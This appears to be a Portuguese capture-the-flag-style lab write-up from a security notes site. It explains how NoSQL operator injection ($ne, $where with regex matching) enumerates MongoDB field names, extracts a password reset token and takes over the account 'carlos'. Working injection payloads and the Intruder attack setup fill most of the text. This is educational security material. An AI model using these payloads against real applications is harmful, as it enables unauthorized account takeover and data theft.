> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md).

# Extração de campos desconhecidos com operadores NoSQL

### Explorando injeção de operador NoSQL para extrair campos desconhecidos

A funcionalidade de busca de usuários deste laboratório é baseada em um banco de dados NoSQL MongoDB. Ela é vulnerável a uma injeção NoSQL. / O objetivo é se conectar como **carlos**.

<figure><img src="/files/752b0916c42fabcd817aca3e68dc4695737128fb" alt=""><figcaption></figcaption></figure>

#### Contexto Inicial

Há uma funcionalidade **Esqueci a senha**.

A consulta enviada via POST para `/forgot-password` é assim:

```bash
csrf=55UFZpEwaPzlRg9d0CRKOf8OZ4GSm2jj&username=test
```

### Teste de Injeção NoSQL no Login

Ao tentar injetar NoSQL no formulário de login:

```json
{
  "username": "carlos",
  "password": { "$ne": "x" }
}
```

A conta é bloqueada e a seguinte mensagem aparece:

> Conta bloqueada: redefina sua senha

<figure><img src="/files/48d998eb4edbef8465492c3e4622014598aa3520" alt=""><figcaption></figcaption></figure>

#### Bloqueio com `$where`

Observa-se que adicionar o `$where` campo é interpretado pelo servidor:

* Se `$where` é `1` → a conta continua bloqueada
* Se `$where` vale `0` → o bloqueio desaparece

Exemplo:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "0"
}
```

Isso confirma que `$where` o operador é executável.

<figure><img src="/files/a813a92a6b758eadd000ae89bf8ef5322f419719" alt=""><figcaption></figcaption></figure>

#### Limitação e Mudança de Estratégia

A ideia original seria usar `$where` para verificar a senha diretamente, por exemplo:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.password...."
}
```

No entanto, como a conta está bloqueada, essa abordagem não é utilizável. / Portanto, você deve passar por uma **redefinição de senha**.

#### Listar Campos do Objeto de Usuário

`$where` é usado para listar as chaves do objeto de usuário com:

```javascript
Object.keys(this)[0].match('^.{X}Y.*')
```

Requisição completa:

```json
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "Object.keys(this)[0].match('^.{X}Y.*')"
}
```

<figure><img src="/files/7b28e7322a4b1582ce20e7cfd0d9d917a916183d" alt=""><figcaption></figcaption></figure>

* `X`: posição do caractere (0-20)

<figure><img src="/files/452253171d15bf65939fda7e5310980d246a9c44" alt=""><figcaption></figcaption></figure>

* `Y`: caracteres testados (`a-z`, `A-Z`, `0-9`)

<figure><img src="/files/e0fc63a8c5e90005a4167be7810187cfeba8ded4" alt=""><figcaption></figcaption></figure>

Ataque enviado via **Intruder** por **Cluster Bomb**

#### Resultados da Enumeração de Campos

Com base no tamanho da resposta (**Content-Length**):

* `Object.keys(this)[0]` → `id`

<figure><img src="/files/d62cb97670020c776af72a18aee06fabe5ed95d1" alt=""><figcaption></figcaption></figure>

```javascript
"$where": "Object.keys(this)[1].match('^.{X}Y.*')"
```

* `Object.keys(this)[1]` → `nome de usuário`

<figure><img src="/files/26a562cb01588c91a1e451ae795cf3c96db6e91f" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[2]` → `senha`

```javascript
"$where": "Object.keys(this)[2].match('^.{X}Y.*')"
```

<figure><img src="/files/3efaf473ad6b2df90452c7446f340435ebc89ac7" alt=""><figcaption></figcaption></figure>

* `Object.keys(this)[3]` → `email`
* `Object.keys(this)[4]` → `passwordReset`

" O `passwordReset` campo só aparece se uma redefinição de senha tiver sido acionada para **carlos**.

```javascript
"$where": "Object.keys(this)[4].match('^.{X}Y.*')"
```

#### Confirmação do `passwordReset` Campo

<figure><img src="/files/d940514d2082b7dc0a343189f8535377b6e47931" alt=""><figcaption></figcaption></figure>

Acesso ao endpoint:

```bash
/forgot-password?passwordReset=
```

Resposta:

> Token inválido

O campo existe

<figure><img src="/files/ab43af39c2e678654acb0155b7f96ad92777fa5d" alt=""><figcaption></figcaption></figure>

#### Lista de Token `passwordReset`

O valor do token é então extraído:

```javascript
"$where": "this.passwordReset.match('^.{X}Y.*')"
```

```javascript
{
  "username": "carlos",
  "password": {
    "$ne": "x"
  },
  "$where": "this.passwordReset.match('^.{X}Y.*')"
}
```

* `X`: posição do caractere
* `Y`: caracteres possíveis

<figure><img src="/files/0eb4b2f84aafb1824a57738f68d28d98871b1053" alt=""><figcaption></figcaption></figure>

* Enviar via **Intruder** (Cluster Bomb)

#### Resultado

O **carlos** o token de redefinição é recuperado:

```bash
5d252f7e28f468ee
```

<figure><img src="/files/0eb4b2f84aafb1824a57738f68d28d98871b1053" alt=""><figcaption></figcaption></figure>

#### Exploração Final

Com esse token, você pode acessar a funcionalidade de redefinição de senha e definir uma nova senha para **carlos**, permitindo que você faça login na sua conta e valide o laboratório.

<figure><img src="/files/54040a3b3befcc814784cb65aecf7d270be496bf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/nosql-injection/extraction-of-unknown-fields-with-nosql-operators.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
